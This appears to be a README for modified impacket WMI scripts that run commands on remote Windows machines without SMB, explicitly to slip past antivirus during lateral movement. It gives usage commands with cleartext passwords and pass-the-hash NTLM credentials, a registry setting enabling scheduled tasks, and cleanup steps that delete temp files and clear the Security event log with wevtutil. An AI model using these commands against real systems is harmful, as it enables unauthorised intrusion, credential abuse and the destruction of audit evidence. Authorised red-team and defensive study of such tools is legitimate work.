
Modify version of impacket wmiexec.py, get output(data,response) from registry, don't need SMB connection, also bypassing antivirus-software in lateral movement like WMIHACKER.
Modify version of impacket wmiexec.py,wmipersist.py. Got output(data,response) from registry, don't need SMB connection, but I'm in the bad code :(
In original wmiexec.py, it get response from smb connection (port 445,139). Unfortunately, some antivirus software are monitoring these ports as high risk.
In this case, I drop smb connection function and use others method to execute command.
Key: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Configuration
Name: EnableAt
Type: REG_DWORD
Value: 1
wmipersist-wip.py (Highly recommend, !!!only works on impacket v0.9.24!!!): A Python version of WMIHACKER, which I picked the vbs template from it. Attacker can use it to do lateral movement safety under antivirus-software running.
wmiexec-regOut.py: Just a simple Win32_Process.create method example .
Step 1:
Step 2:
Step 3:
Step 4:
Step 5:
Step 1:
Step 2:
Step 3:
Generally, you just need to install official impacket.
With cleartext password
python3 wmiexec-reg.py administrator:[email protected] 'whoami'

With NTLM hashes
python3 wmiexec-reg.py -hashes e91d2eafde47de62c6c49a012b3a6af1:e91d2eafde47de62c6c49a012b3a6af1 [email protected] 'whoami'

With cleartext password (without output)
python3 wmipersist-wip.py administrator:[email protected] 'command'

With NTLM hashes
python3 wmipersist-wip.py -hashes e91d2eafde47de62c6c49a012b3a6af1:e91d2eafde47de62c6c49a012b3a6af1 [email protected] 'whoami'
Do not forget to clean up temp directory after run command with out put.
Command: del /q /f /s C:\windows\temp\*

Command include double quotes.
Make double quotes inside single quotes wevtutil cl '"security"'


With output
python3 wmipersist-wip.py administrator:[email protected] "whoami /priv" -with-output
python3 wmipersist-wip.py [email protected] "whoami /priv" -hashes e91d2eafde47de62c6c49a012b3a6af1:e91d2eafde47de62c6c49a012b3a6af1 -with-output

Under Huorong antivirus-software (Using WMIHACKER VBS template!!!)
